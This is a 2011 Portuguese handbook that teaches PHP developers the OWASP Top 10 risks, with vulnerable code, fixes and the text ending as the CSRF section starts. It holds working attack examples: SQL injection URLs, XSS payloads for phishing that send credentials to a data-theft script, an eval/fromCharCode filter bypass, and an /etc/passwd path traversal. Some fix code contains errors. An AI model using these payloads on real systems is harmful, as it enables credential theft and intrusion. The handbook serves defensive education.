Top 10 OWASP com PHP

Er Galvão Abbott – Especialista em TI – www.galvao.eti.br – [email protected]

Top 10 OWASP com PHPCompreendendo e tratando os 10 riscos se segurançamais críticos em aplicações web segundo o OWASP.

Por Er Galvão Abbott

CC Attribution-ShareAlike 3.0 Unported License by Er Galvão Abbott – 2011-03-10 – 1 / 48


Sobre o Autor

Er Galvão Abbott trabalha há mais de 15 anos desenvolvendo sistemas e aplicações com interface web. Palestra em eventos, dá cursos em diversas instituições e é o Diretor da PHP Conference Brasil, o principal evento de PHP da América Latina.

Especializou-se em segurança de aplicações web, abordando o tema em uma época quando isso ainda era raro no Brasil. Trabalhou com diversas empresas de grande porte, tanto nacionais como internacionais.

Web: http://www.galvao.eti.br/

E-Mail: [email protected]

Twitter: @galvao

Apresentações, Slides de Palestras, Documentos: http://slideshare.net/ergalvao


http://www.galvao.eti.br/

http://slideshare.net/ergalvao

http://twitter.com/galvao

mailto:[email protected]


Licença de Uso

Este trabalho é distribuído por Er Galvão Abbott sob uma licença Creative Commons Attribution-ShareAlike Unported License. Vocé é livre para distribuir, adaptar e copiar este conteúdo sem a permissão prévia do Autor, contando que siga as seguintes diretrizes:

1. Qualquer uso deste conteúdo, no todo ou em parte, deve conter o crédito para o Autor e a URL do site do mesmo.

2. O Autor deve ser informado, pelo e-mail [email protected] sobre o uso deste conteúdo.


mailto:[email protected]

http://creativecommons.org/licenses/by/3.0/




ÍndiceSobre o Autor.........................................................................................................................2Licença de Uso......................................................................................................................3Objetivo..................................................................................................................................7Aviso.......................................................................................................................................7Introdução..............................................................................................................................8

O que é o OWASP e por que é importante.......................................................................8Conceitos...........................................................................................................................9O Top 10............................................................................................................................9

O Top 10 em detalhes..........................................................................................................10Injeção.............................................................................................................................10

Consequências Possíveis...........................................................................................10Exemplo de código vulnerável....................................................................................11Exemplos de exploração.............................................................................................12Soluções insuficientes.................................................................................................12Recomendações..........................................................................................................13Recomendações específicas para PHP......................................................................14Recomendações PHP na prática................................................................................14

.........................................................................................................................................17Cross Site Scripting – XSS..............................................................................................18

Reflected......................................................................................................................18Stored..........................................................................................................................18DOM Injection..............................................................................................................18Consequências Possíveis...........................................................................................18Exemplo de código vulnerável....................................................................................19



Exemplos de exploração.............................................................................................19Soluções insuficientes.................................................................................................20Recomendações..........................................................................................................21Recomendações específicas para PHP......................................................................21Recomendações PHP na prática................................................................................22

Autenticação Falha e Gerenciamento de Sessão...........................................................23Consequências possíveis............................................................................................23Exemplo de código vulnerável....................................................................................23Soluções insuficientes.................................................................................................24Recomendações..........................................................................................................24Recomendações PHP na prática................................................................................25

Referência Direta e Insegura a Objetos..........................................................................26Exemplo de código vulnerável....................................................................................27Soluções Insuficientes.................................................................................................27Recomendações..........................................................................................................28Recomendações PHP na prática................................................................................28

Cross Site Request Forgery – CSRF .............................................................................30Consequências possíveis............................................................................................30Exemplo de código vulnerável....................................................................................31Soluções insuficientes.................................................................................................31Recomendações..........................................................................................................31Recomendações PHP na prática................................................................................32

Configuração Equivocada de Segurança........................................................................33Consequências possíveis............................................................................................33Exemplo de código vulnerável....................................................................................34Exemplos de exploração.............................................................................................34Soluções insuficientes.................................................................................................34Recomendações..........................................................................................................35Recomendações específicas para PHP......................................................................35Recomendações PHP na prática................................................................................36

Armazenamento Criptográfico Inseguro..........................................................................36Consequências possíveis............................................................................................37Soluções insuficientes.................................................................................................37Recomendações..........................................................................................................38Recomendações específicas para PHP......................................................................38Recomendações PHP na prática................................................................................38

Falha de Restrição de Acesso a URL.............................................................................39Consequências possíveis............................................................................................40Exemplo de código vulnerável....................................................................................40Soluções insuficientes.................................................................................................40



Recomendações..........................................................................................................41Recomendações específicas para PHP .....................................................................41Recomendações na prática.........................................................................................41

Proteção Insuficiente a Camada de Transporte..............................................................42Consequências possíveis............................................................................................42Recomendações..........................................................................................................43

Redirects e Forwards não validados...............................................................................43Consequências possíveis............................................................................................43Recomendações..........................................................................................................43

Conclusão............................................................................................................................44Glossário..............................................................................................................................45Referências..........................................................................................................................48



Objetivo

O objetivo deste curso é compreender o que são e como funcionam os dez riscos de segurança mais críticos para aplicações web, conforme apresentados pelo OWASP (Open Web Application Security Project). Serão apresentados conceitos, exemplos práticos e soluções para mitigar cada um dos riscos aqui apresentados.

Aviso

O conteúdo prático e teórico deste curso serve para propósitos puramente didáticos. A idéia é conscientizar os profissionais e auxiliá-los a entender e mitigar os riscos de segurança presentes nas aplicações web.

O autor não se responsabiliza pelo mau uso de qualquer conceito, exemplo e/ou código-fonte aqui apresentado, a garantia de soluções definitivas para os problemas apresentados e/ou qualquer outra consequência da execução/implementação do conteúdo deste material.



Introdução

O que é o OWASP e por que é importante

O OWASP (Open Web Application Security Project, ou Projeto Aberto para Segurança de Aplicações Web) é uma comunidade aberta no formato Wiki, suportada por uma fundação sem fins lucrativos. Tem como principal objetivo disseminar conhecimento na área de segurança da informação, tendo como foco principal o desenvolvimento de aplicações web.

Sendo uma iniciativa que não visa lucro e não é ligada à nenhuma empresa, o OWASP provê informação livre de pressões comerciais e é orientado pelo consenso geral dos profissionais envolvidos e pela execução prática de código-fonte.

O projeto provê extensa documentação sobre segurança da informação com uma categorização extensa e de prática pesquisa, incluindo a categorização por linguagem. Além disso, organiza eventos e procura prover soluções de código-fonte para as mais diversas vulnerabilidades que põem em risco as aplicações web nos dias de hoje.

Embora seja baseado nos Estados Unidos, o OWASP é uma iniciativa internacional tendo capítulos locais em diversos países do mundo, incluindo o Brasil. Isso significa que a informação disponibilizada pelo projeto pode ser encontrada, através de traduções do material original, nos mais diversos idiomas.

A importância do OWASP resume-se à sua própria existência: ao se criar este tipo de iniciativa, que conta com o necessário apoio da massa de profissionais de TI, cria-se um grande repositório que promove não apenas o conhecimento, mas a conscientização para os riscos presentes para as aplicações web e a necessidade de se tomar atitudes à respeito.

Além disso o mercado de desenvolvimento tem um crescimento e uma profissionalização naturais decorrentes desta conscientização. É um ciclo benéfico: quanto mais se divulga a importância do projeto mais se promove o amadurecimento das aplicações web, tanto já disponíveis como novas e o mercado ganha a confiança de que tanto precisa.



Conceitos

Assim como o próprio conhecimento, o OWASP e suas iniciativas – entre elas o Top 10 – também evoluem. Inicialmente tratando de conceitos como ataques, o Top 10 passou a corrigir-se e esclarecer-se com o passar do tempo. Atualmente o foco do Top 10 é o risco, de forma a deixar mais claro para profissionais e empresas o que representam as possíveis falhas de segurança em aplicações web.

O Top 10

O Top 10 é um dos muitos projetos do OWASP. Procura listar e rankear os dez riscos de segurança mais críticos em aplicações web, e foi criado originalmente tomando como base a listagem feita pela MITRE, uma corporação que trabalha junto à órgãos federais do governo Norte-Americano.

A listagem é atualizada com uma certa periodicidade, sendo que a última atualização (de 2010) será a que utilizaremos neste curso. Esta é o ranking oficial dos 10 riscos de segurança mais críticos em aplicações web, segundo o OWASP:

1. Injeção

2. Cross Site Scripting – XSS

3. Autenticação Falha e Gerenciamento de Sessão

4. Referência Insegura Direta à Objetos

5. Cross Site Request Forgery – CSRF

6. Configuração de Segurança Equivocada

7. Armazenamento Criptográfico Inseguro

8. Falha de Restrição de Acesso à URL

9. Proteção Insuficiente à Camada de Transporte

10. Redirects e Forwards não validados



O Top 10 em detalhes

Injeção

O que são: Falhas de injeção, particularmente SQL Injection, são extremamente comuns em aplicações web. Elas ocorrem quando um dado enviado pelo usuário “engana” o interpretador da linguagem, fazendo com que este execute comandos indesejáveis.

Tipos conhecidos: SQL, LDAP, XPath, XSLT, HTML, XML, Comandos de SOs, etc...

Ambientes afetados: Todo e qualquer ambiente web.

Detalhamento, Exemplos e Soluções:

Todas as falhas de injeção, independente de tipo, acontecem basicamente por uma falta de validação e tratamento de dados de entrada (input) por parte do desenvolvedor.

O tipo de vulnerabilidade, neste caso, irá variar diretamente de acordo com o tipo de ações que o sistema executa. Por exemplo, uma aplicação que não faz consulta à nenhum RDBMS, não será vulnerável à Falhas de Injeção de SQL.

Trataremos, neste material, da falha de injeção mais comum: SQL Injection.

Consequências Possíveis

● Corrupção de dados

● Exposição de dados

● Inserção de registros maliciosos

● DoS (Denial of Service)

● Exposição de credenciais de acesso



Exemplo de código vulnerável

<?phprequire('config/config.php');$conn = mysql_connect(SERVIDOR, USUARIO, SENHA);mysql_select_db(DB);

$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $_GET['cat'] . ' LIMIT 10'; $resultado = mysql_query($sql);

while ($registro = mysql_fetch_assoc($resultado)) { echo $registro['foto'] . ' ' . $registro['produto'] . '<br />'; echo $registro['categoria'] . '<br />'; echo $registro['descricao']; echo '<br /><br />';}

mysql_close();?>

Neste exemplo, de listagem de produtos à partir de uma consulta à base de dados, este script seria tipicamente acessado por uma URL, como no exemplo abaixo:

http://www.galvao.eti.br/lista_produtos.php?cat=1

Todavia, ao se permitir a entrada de informações que influenciarão a consulta sem o devido cuidado de tratá-las antes de enviá-las ao RDBMS, permitimos a injeção de caracteres que são sintaticamente interpretados pelo RDBMS:



Exemplos de exploração

Exemplo #1 – Listando todos os produtos

http://www.galvao.eti.br/lista_produtos.php?cat=1 or 1=1

Exemplo #2 – Listando todos os produtos (mesmo!)

http://www.galvao.eti.br/lista_produtos.php?cat=1 or 1=1--

Exemplo #3 – Provocando erros na execução da consulta

http://www.galvao.eti.br/lista_produtos.php?cat=1 or erro!;#$

Exemplo #4 – Investigando nomes de tabelas

http://www.galvao.eti.br/lista_produtos.php?cat=1 and (select count(*) from usuarios) > 0

Exemplo #5 – Investigando colunas e dados em tabelas diferentes

http://www.galvao.eti.br/lista_produtos.php?cat=1 and (select count(*) from usuarios where id_usuario = 10) > 0

Soluções insuficientes

Um dos erros clássicos no tratamento de vulnerabilidades de injeção de SQL é a precupação exclusiva com alguns caracteres (como a aspa simples, por exemplo). Esta abordagem é equivalente, e consequentemente de fácil contorno, à qualquer solução black list.



Observe que em nenhum dos exemplos acima utilizamos a aspa simples, mas mesmo assim fomos capazes de executar explorações das mais perigosas. É por razões como essa que a solução abaixo é ineficiente:

<?php/* Este código é idêntico ao exemplo anterior com exceção da linha: */$resultado = mysql_query(addslashes($sql));?>

A função addslashes, de forma similar à configuração magic_quotes_gpc, trabalha com o conceito de black list e pior ainda, de forma limitada, como ocorre com a função htmlspecialchars.

Outro equívoco comum é procurar tratar este tipo de vulnerabilidade refinando-se a consulta (o caso específico do LIMIT). Pela simples adição de dois hífens (que significam “comentário” para a maioria dos RDBMSs) forçamos a aplicação à simplesmente ignorar o limite pré-definido ou qualquer outro refinamento, como é demonstrado no Exemplo #2.

Recomendações

● Validação de entrada de dados (input): Valide todos os dados que entrarem para sua aplicação, considerando não apenas o seu valor, mas comprimento do dado, tipo e regras de negócio.

● Queries tipadas e parametrizadas: Utilize APIs que permitam o uso de queries parametrizadas e com tipagem forte, com marcadores de substituição.

● Menos privilégios de acesso: Crie um usuário com permissões específicas para aplicações que utilizem um RDBMS ou alguma outra forma de backend. Evite utilizar um usuário com privilégios administrativos para uso na aplicação.

● Menos informação: Evite mensagens de erro detalhadas, que forneçam muitos detalhes à um atacante.

● Use stored procedures: Por possuírem uma forte tipagem – tanto para parâmetros como para retorno de valores – além de serem mais versáteis em termos de código, as stored procedures são geralmente consideradas menos vulneráveis à ataques de injeção.

● Não execute queries dinâmicas diretamente: funções que executam queries diretamente, como mysql_query ou pg_query, são normalmente mais vulneráveis.

● Não use funções simples de escape: Funções como addslashes ou str_replace



provêem uma solução insuficiente para este tipo de vulnerabilidade.

● Cuidado com erros de canonicalização: Entradas de dados devem ser decodificadas e canonicalizadas antes da validação. Certifique-se de que sua aplicação não decodifique a mesma entrada de dados mais de uma vez.

Recomendações específicas para PHP

● Utilize a função addcslashes no lugar da addslashes: embora seja uma solução do tipo black list, a função addcslashes permite ao programador identificar quais caracteres devem ser escapados, dando maior liberdade ao programador.

● Utilize APIs que possibilitem o uso de queries parametrizadas: PDO, ADODB, etc...

● No ambiente de produção, ajuste as configurações display_errors para Off, log_errors para On e defina o caminho do arquivo de log na configuração error_log. Caso não seja possível consulte seu provedor.

Recomendações PHP na prática

<?phprequire('config/config.php');$conn = mysql_connect(SERVIDOR, USUARIO, SENHA);mysql_select_db(DB);

// Tratando alguns caracteres sintáticos em SQL:$entradaFiltrada = addcslashes($_GET['cat'], '\'-*|/');

$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $entradaFiltrada . ' LIMIT 10'; $resultado = mysql_query($sql);

while ($registro = mysql_fetch_assoc($resultado)) { echo $registro['foto'] . ' ' . $registro['produto'] . '<br />'; echo $registro['categoria'] . '<br />'; echo $registro['descricao']; echo '<br /><br />';}

mysql_close();?>

A solução acima, embora baseada em black list, é muito superior ao uso da função addslashes: Desta vez estamos tratando diversos caracteres, como o hífen, impedindo diversas das explorações que demonstramos anteriormente.



Uma das dificuldades ao se reforçar uma aplicação contra vulnerabilidades de injeção é que nem sempre é simples implementarmos uma abordagem de white list. Em nosso exemplo específico, entretanto, isso é relativamente simples, já que um id de categoria necessita ser, explicitamente, numérico.

<?phprequire('config/config.php');

if (preg_match('/[^0-9]+/', $_GET['id'])) { die('Dado inválido!');} else { $conn = mysql_connect(SERVIDOR, USUARIO, SENHA); mysql_select_db(DB);

$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $_GET['id'] . ' LIMIT 10'; $resultado = mysql_query($sql);

while ($registro = mysql_fetch_assoc($resultado)) { echo $registro['foto'] . ' ' . $registro['produto'] . '<br />'; echo $registro['categoria'] . '<br />'; echo $registro['descricao']; echo '<br /><br />'; }

mysql_close();}?>



<?php// Utilizando ADODB e queries parametrizadas. // Além disso “implementamos” a tipagem de dados na ADODB

require_once '../libs/adodb5/adodb.inc.php';

$conn = &ADONewConnection('mysql'); $conn->debug = true; $conn->Connect(SERVIDOR, USUARIO, SENHA, DB);

$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $conn->Param('id') . ' LIMIT 1';

$resultado = $conn->Execute($sql, array('id' => (int)$_GET['id']));

while (!$resultado->EOF) { echo $resultado->fields('foto') . ' ' . $resultado->fields('produto') . '<br />'; echo $resultado->fields('categoria') . '<br />'; echo $resultado->fields('descricao'); echo '<br /><br />';

$resultado->MoveNext(); }

$conn->Close();?>



<?php// Utilizando PDO

$dsn = 'mysql:dbname=foo;host=127.0.0.1'; $user = 'usuario'; $password = 'senha';

try { $conn = new PDO($dsn, $user, $password); } catch (PDOException $e) { die('Falha na conexão.'); }

$sql = $conn->prepare('SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ? LIMIT 1');

$sql->bindParam(1, $_GET['id'], PDO::PARAM_INT);$sql->execute();

while ($resultado = $sql->fetch(PDO::FETCH_ASSOC)) { echo $resultado['foto'] . ' ' . $resultado['produto'] . '<br />'; echo $resultado['categoria'] . '<br />'; echo $resultado['descricao']; echo '<br /><br />';}?>



Cross Site Scripting – XSS

O que é: É a vulnerabilidade mais comum e perniciosa em aplicações web. Ocorre quando uma aplicação recebe dados de um usuário e os retorna para o browser sem validar ou codificar estes dados.

Tipos conhecidos: Refletido, Armazenado e Injeção de DOM.



Reflected

O tipo mais simples de ilustrar, quando se trata de vulnerabilidades XSS é o refletido: trata-se simplesmente de receber o input de um usuário e retornar diretamente para o browser. Sua ocorrência é cada vez mais comum devido à popularização do AJAX e dos mashups, tecnologias cujo foco é o retorno rápido de informação.

Na realidade pode-se argumentar que todo o XSS é refletido de alguma forma, tornando este tipo uma espécie de base para o entendimento desta vulnerabilidade.

Stored

O tipo armazenado ocorre quando uma exploração da vulnerabilidade XSS é armazenada em algum meio para que seja recuperada posteriormente, como bases de dados ou arquivos HTML criados dinamicamente, por exemplo.

Isto aumenta consideravelmente o prejuízo causado por um ataque pelo simples fato de que o ataque se repetirá automaticamente cada vez que a informação armazenada for recuperada e exibida.

DOM Injection

O tipo injeção de DOM é perigoso na medida que trabalha manipulando e/ou criando código client-side (normalmente Javascript) na página. Desta forma uma variedade ampla de consequências se torna possível.

Consequências Possíveis

● Defacement

● Injeção de conteúdo inapropriado

● Phishing




<?phpecho $_POST['comentario'];?>


Exemplo #1 – Inserção de conteúdo

<img src=”http://www.galvao.eti.br/images/er_galvao_abbott.jpg” />

Exemplo #2 – Phishing

<script type=”text/javascript”>window.onload=function() {document.body.innerHTML=”Sua sessão expirou por inatividade. Por favor faça login novamente:<br /><form action='http://www.galvao.eti.br/rouba_dados.php'><input type='text' name='login' size='10' /><br /><input type='password' name='senha' size='10' /><inhput type='submit' value='Entrar' /></form>”;}</script>

Exemplo #3 – Mais Phishing

<script type=”text/javascript”>window.onload=function() {document.body.innerHTML=”<iframe src='http://www.galvao.eti.br/index' style='border: 0px; width: 100%; height: 100%; margin: 0px; padding: 0px;'></iframe>”;}</script>

Exemplo #4 – Defacement

<script type=”text/javascript”>window.onload=function() {for (x = 0; x < document.images.length; x++) { document.images[x].src=”http://www.galvao.eti.br/images/er_galvao_abbott.jpg”; }}</script>




Em instalações anteriores do interpretador PHP nenhum dos exemplos acima funcionaria, devido à uma configuração da linguagem chamada magic_quotes_gpc, que fazia o escape automático de aspas, tanto simples quanto duplas.

Esta configuração era uma solução insuficiente, porque se baseia no conceito de black list. Sabendo-se que o tratamento é feito em cima de caracteres específicos, tudo o que temos que fazer é nos adaptarmos. Como nossa intenção ao explorar essa vulnerabilidade é afetar o lado cliente, precisamos encontrar uma solução cliente que nos permita realizar o ataque.

Vejamos uma variação do Exemplo #3 que passa tranquilamente pela magic_quotes_gpc, ou outras soluções Black List:

<script>window.onload=function() { eval(String.fromCharCode(100) + String.fromCharCode(111) + String.fromCharCode(99) + String.fromCharCode(117) + String.fromCharCode(109) + String.fromCharCode(101) + String.fromCharCode(110) + String.fromCharCode(116) + String.fromCharCode(46) + String.fromCharCode(98) + String.fromCharCode(111) + String.fromCharCode(100) + String.fromCharCode(121) + String.fromCharCode(46) + String.fromCharCode(105) + String.fromCharCode(110) + String.fromCharCode(110) + String.fromCharCode(101) + String.fromCharCode(114) + String.fromCharCode(72) + String.fromCharCode(84) + String.fromCharCode(77) + String.fromCharCode(76) + String.fromCharCode(32) + String.fromCharCode(61) + String.fromCharCode(32) + String.fromCharCode(34) + String.fromCharCode(60) + String.fromCharCode(105) + String.fromCharCode(102) + String.fromCharCode(114) + String.fromCharCode(97) + String.fromCharCode(109) + String.fromCharCode(101) + String.fromCharCode(32) + String.fromCharCode(115) + String.fromCharCode(114) + String.fromCharCode(99) + String.fromCharCode(61) + String.fromCharCode(39) + String.fromCharCode(104) + String.fromCharCode(116) + String.fromCharCode(116) + String.fromCharCode(112) + String.fromCharCode(58) + String.fromCharCode(47) + String.fromCharCode(47) + String.fromCharCode(119) + String.fromCharCode(119) + String.fromCharCode(119) + String.fromCharCode(46) + String.fromCharCode(103) + String.fromCharCode(97) + String.fromCharCode(108) + String.fromCharCode(118) + String.fromCharCode(97) + String.fromCharCode(111) + String.fromCharCode(46) + String.fromCharCode(101) + String.fromCharCode(116) + String.fromCharCode(105) + String.fromCharCode(46) + String.fromCharCode(98) + String.fromCharCode(114) + String.fromCharCode(47) + String.fromCharCode(39) + String.fromCharCode(32) + String.fromCharCode(47) + String.fromCharCode(62) + String.fromCharCode(34) + String.fromCharCode(59)); } </script>

Através de uma combinação de uma função eval e um método de geração de caracteres (fromCharCode) e o mais importante, sem usar uma única aspa, o ataque se torna bem-sucedido.



Recomendações

As soluções recomendadas pelo OWASP e pelos profissionais de segurança é, similar ao magic_quotes_gpc, a filtragem dos dados, porém com uma diferença crucial: a validação é feita através de white list, ou seja, apenas considerando-se caracteres válidos.

Estas são as recomendações:

● Validação de entrada de dados (input): Valide todos os dados que entrarem para sua aplicação, considerando não apenas o seu valor, mas comprimento do dado, tipo e regras de negócio.

● Codificando a saída de dados (output): Trate as entidades HTML apropriadamente e aplique isso à todos os dados que são alimentados pelo(s) usuário(s). Acostume-se à definir o encoding de suas páginas, de forma à evitar que diferentes encodings sejam utilizados para forçar sua aplicação à aceitar caracteres inválidos.

● Valide sempre por white lists: Como vimos no exemplo anterior o tratamento de caracteres “inválidos” - como ocorre com a magic_quotes_gpc – é completamente ineficiente, sendo relativamente simples de se construir maneiras de atravessar este tipo de proteção.

● Cuidado com erros de canonicalização: Entradas de dados devem ser decodificadas e canonicalizadas antes da validação. Certifique-se de que sua aplicação não decodifique a mesma entrada de dados mais de uma vez.


● Garanta a passagem dos dados pela função htmlentities ou use a Biblioteca Anti-XSS do OWASP.

● Desabilite a configuração register_globals, caso esteja ativada.




<?phpecho htmlentities($_POST['comentario'], ENT_QUOTES, 'UTF-8', true);?>

Observe que utilizamos a função htmlentities no lugar da função htmlspecialchars propositalmente. Isto é feito porque a primeira converte todos os caracteres possíveis para suas entidades HTML, enquanto que a segunda converte apenas alguns caracteres, tornando-se nada mais nada menos do que uma solução do tipo black list.

Em alguns casos é desejável permitir tags HTML. Quando algum destes casos ocorrer ao invés de procurarmos por tags indesejáveis (solução black list) devemos verificar apenas pelas tags que consideraremos válidas (solução white list):

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Insert title here</title> </head> <body> <img src="http://www.galvao.eti.br/images/logoG.jpg" /> <?php $tags_validas = array('font', 'b', 'i', 'u');

foreach ($tags_validas as &$tv) { $tv = '<' . $tv . '>'; }

$comentario = htmlentities($_POST['comentario'], ENT_QUOTES, 'UTF-8', true);

if (preg_match('/\&lt\;[a-z]+\&gt\;/mi', $comentario, $results)) { foreach ($results as $r) { if (!in_array($r, $tags_validas)) { die('Tag inválida encontrada: ' . $r); } } }

echo html_entity_decode($comentario, ENT_QUOTES, 'UTF-8');?> </body> </html>



Autenticação Falha e Gerenciamento de Sessão

O que é: Vulnerabilidades desse tipo frequentemente envolvem a falha em proteger as credenciais de acesso do usuário e tokens de sessão. Basicamente, este item do Top 10 se refere não apenas aos problemas de sessão, mas também à questões epecíficas de autenticação.

Tipos conhecidos: -



Falhas na rotina principal de autenticação não são incomuns, mas fraquezas relacionadas à estas vulnerabilidades geralmente são encontradas em funções auxiliares como logout, tempo de expiração, lembrete de senhas, atualização de contas de acesso e gerenciamento de senhas.

Consequências possíveis

● Exposição de credenciais de acesso.

● Sequestro de contas de acesso.

● Violação de privacidade de usuários.

● Comprometimento da aplicação.


As questões relacionadas à esta vulnerabilidade não podem ser demonstradas, à exemplo das demais, por exemplos “clássicos”. Sendo assim, veremos com maior foco a parte de recomendações e código PHP na prática.




Sessões e rotinas de autenticação são assuntos frequentemente subestimados pelos desenvolvedores. Grande parte das rotinas de gerenciamento de sessões, por exemplo, não possuem uma preocupação em re-gerar o ID da sessão ou confiam na configuração/funcionalidade session.use_trans_sid, que acaba por expor o ID da sessão em links.

Recomendações

● Utilize mecanismos de gerenciamento de sessões conhecidos, evite re-escrever funcionalidades que já são suportadas pela linguagem ou por um framework, por exemplo.

● Não aceite que IDs de sessão sejam passados como parâmetro, seja por query string ou formulário.

● Evite, se possível, usar rotinas de fixação de usuários autenticados,

● Utilize uma rotina única, fortemente protegida, de autenticação.

● Considere re-gerar o ID de sessão à cada autenticação ou mudança de privilégios de acesso.

● Disponibilize um link de logout em todas as páginas da aplicação. Lembre-se: a rotina de logout deve, obrigatoriamente, destruir todo e qualquer dado da sessão tanto do lado servidor quanto do lado cliente.

● Rotinas de logout devem ser simples, de forma que pedidos de confirmação, por exemplo, sejam evitados. Lembre-se: você pode perder tempo programando rotinas de confirmação de logout, mas o usuário nem sempre terá paciência pra fazer o mesmo.

● Utilize um período de tempo para automaticamente realizar o logout de sessões inativas (timeout). Dê preferência para esquemas de “pergunta/resposta” ou reset de senhas.

● Não confie em dados que podem ser forjados como Endereços IP ou partes deste (como verificar endereços IP de uma intranet, por exemplo), DNS, referrers ou similares como única forma de autenticação.




<?php// Re-gerando um id de sessãosession_start();// Código que faz a autenticação ou mudança de privilégios de acessosession_regenerate_id(true);// Restante do código?>

<?php// Destruindo todos os dados de sessão (parascripts de logout)session_start();

// Destrói todas as variáveis de sessão$_SESSION = array();

// Destrói o cookie da sessãoif (isset($_COOKIE[session_name()])) { setcookie(session_name(), '', time()-42000, '/');}

// Destrói a sessão em sisession_destroy();?>

Para definir uma rotina de timeout o ideal é utilizar uma fonte externa (como o RDBMS, por exemplo) para armazenar o timestamp de uma sessão criada, de forma que se possa verificar, de tempos em tempos, sessões inativas. Todo e qualquer script, à partir dessa abordagem, deve atualizar o RDBMS, informando a “última vez em que ocorreu uma ação” (ou seja simplesmente atualizando o timestamp).

Ainda segundo esta abordagem, o ideal, quando possível, é criar uma forma independente da aplicação em si de checar e marcar registros como “inválidos por inatividade”. Para isto pode-se definir um script que seja executado via crontab/Agendador de Tarefas ou através da programação de uma stored procedure no RDBMS.



Referência Direta e Insegura a Objetos

O que é: Uma referência direta à objeto ocorre quando um desenvolvedor expôe uma referência para um objeto implementado internamente na aplicação – como um arquivo, diretório ou registro da base de dados, por exemplo – como um parâmetro passado via URL ou formulário. Um atacante pode manipular referências diretas à objetos para acessar outros objetos sem autorização, à não ser que uma checagem de controle de acesso seja implementada.

Tipos Conhecidos: -



Muitos atacantes experimentam com parâmetros e elementos de formulário de forma à comprometer uma aplicação. A maioria dos casos de aplicações vulneráveis faz referência à arquivos ou registros de bases de dados. Vejamos um exemplo:

http://www.galvao.eti.br/editPerfil.php?uid=12

<?php/* Código para acessar a base */$sql = 'SELECT email, site, foto FROM usuarios WHERE usuario_id = ' . $conn->Param('id') . ' LIMIT 1';

$prep = $conn->Prepare($sql); $resultado = $conn->Execute($sql, array('id' => (int)$_GET['uid']));

while (!$resultado->EOF) { /* Código para gerar campos de formulário */}?>

Como não há nenhuma checagem de segurança ou controle de acesso, um atacante pode editar o perfil de qualquer usuário simplesmente alterando o parâmetro 'uid' presente na query string, já que este faz referência direta à um objeto (neste caso um registro presente na base de dados).




Além do exemplo acima, podemos citar também o caso clássico de interação entre formulário e script. Considerando-se que possuímos arquivos próprios para cada idioma (como por exemplo 'pt.php' e 'en.php'):

/* Código HTML padrão de formulário */<select name=”idioma”> <option value=”en”>inglês</option> <option value=”pt”>português</option></select>

<?phprequire $_REQUEST['idioma'];/* código restante */?>

Este script pode ser facilmente enganado através da manipulação do valor do elemento:

http://www.galvao.eti.br/seleciona_idioma.php?idioma=/etc/passwd

Obs.: Utilizamos o array superglobal $_REQUEST propositalmente neste exemplo para simplificarmos a exemplificação da exploração desta vulnerabilidade. Não esqueça: requisições pelo método POST são tecnicamente mais complexas de serem forjadas, mas igualmente possíveis.

Soluções Insuficientes

Embora rotinas de controle de acesso (que veremos na prática à seguir) sejam indispensáveis para minimizar esta vulnerabilidade, elas não são suficientes por si só: é necessário, nos casos de referências à arquivos, por exemplo, um mapeamento indireto dos arquivos de forma à assegurar que o sistema de arquivos da máquina que roda a aplicação não seja exposto.



Recomendações

● Utilize um processo de indexação/mapeamento dos objetos da aplicação, de forma que eles não sejam expostos diretamente.

● Valide referências indiretas à objetos, através de – como de costume – uma rotina de white list.

● Implemente uma rotina de controle de acesso, de forma à se assegurar de que o usuário só tenha acesso ao que lhe é devido.


<?php/* Código para acessar a base */$sql = 'SELECT email, site, foto FROM usuarios WHERE usuario_id = ' . $conn->Param('id') . ' AND usuario_id = ' . $user->getID() . ' LIMIT 1';

$prep = $conn->Prepare($sql); $resultado = $conn->Execute($sql, array('id' => (int)$_GET['uid']));

while (!$resultado->EOF) { /* Código para gerar campos de formulário */}?>

Observe a pequena porém importantíssima modificação no código: o usuário, à partir deste momento, terá acesso apenas a página de modificação do seu próprio perfil.

À seguir veremos duas abordagens distintas para o problema da referência direta à arquivos:



Exemplo #1:

<?php// Através de indexação indireta$idiomas = array('en', 'pt'); $idioma_OK = (int)$_GET['idioma'];

if (in_array($id_OK, array_keys($idiomas))) { require $idiomas[$id_OK] . '.php'; }?>

Exemplo #2:

<?php// Através de indexação indireta, com checagem via white list$idiomas = array('en', 'pt');

if (!preg_match('/^[0-9]{1}$/', $_GET['idioma'])) { die('Arquivo não encontrado'); } else { if (in_array($_GET['idioma'], array_keys($idiomas))) { require $idiomas[$_GET['idioma']] . '.php'; } }?>

Embora tecnicamente eficientes há uma diferença importante entre estas abordagens:

O Exemplo #2 utiliza, explicitamente, a abordagem de white list para verficação se o dado recebido é, de fato numérico. O Exemplo #1 não faz, na prática, esta validação, porém 'força' a tipagem do dado para um número inteiro através da construção int. Isto significa que enquanto no Exemplo #2 um dado não-numérico será automaticamente barrado pela aplicação, o mesmo não ocorrerá no primeiro caso.

O Exemplo #1 implementa uma espécie de rotina de fallback, onde dados não-numéricos resultarão no seu equivalente numérico caso iniciem por um número ou no número 0 (zero) no caso de iniciarem por caracteres não-numéricos.

É pelos motivos apresentados acima que a abordagem do exemplo #2 é, tecnicamente, a mais correta e segura.



Cross Site Request Forgery – CSRF

O que é: Vulnerabilidades CSRF causam ataques devastadores: Ataques baseados nesta vulnerabilidade 'forçam' um browser de um usuário logado em uma aplicação a enviar uma requisição para uma aplicação vulnerável, que por sua vez executará uma ação em nome do usuário.

